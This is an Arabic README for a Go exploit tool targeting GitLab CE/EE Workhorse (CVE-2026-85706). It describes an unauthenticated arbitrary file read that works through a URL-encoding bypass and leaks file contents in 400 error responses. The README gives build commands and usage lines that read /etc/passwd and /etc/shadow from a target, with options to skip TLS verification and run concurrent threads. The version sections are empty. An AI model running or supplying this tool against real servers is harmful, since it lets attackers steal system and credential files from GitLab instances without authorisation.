
استغلال بلغة Go للثغرة CVE-2026-85706، وهي قراءة ملفات عشوائية دون مصادقة في GitLab CE/EE Workhorse عبر تجاوز ترميز URL، مع طلبات متزامنة وتخطي TLS.
ثغرة قراءة الملفات التعسفية دون مصادقة في GitLab CE/EE (CVE-2026-85706).
الإصدارات المتأثرة:
الإصدارات المُصحّحة:
توجد الثغرة في مكوّن Workhorse الخاص بـ GitLab. يرى تعبير Workhorse النمطي مسارًا مُرمَّزًا، بينما يقوم Puma بفك ترميزه. يتم استدعاء File.open(file.path) في Rails قبل المصادقة، ويقوم تحليل urlencoded بإدراج ترميز % غير الصالح في جسم استجابة 400، مما يؤدي إلى تسريب محتويات الملف.
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| الوسيط | الوصف | الافتراضي |
|---|---|---|
-u | عنوان URL الهدف (مثال: https://gitlab.example.com) | - |
-f | الملف المراد قراءته (مثال: /etc/passwd) | - |
-k | تخطي التحقق من TLS | false |
-t | عدد الخيوط المتزامنة | 1 |
-v | إخراج مفصّل | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
سيحاول هذا قراءة الملف /etc/shadow من نسخة GitLab الهدف، مع تخطي التحقق من TLS.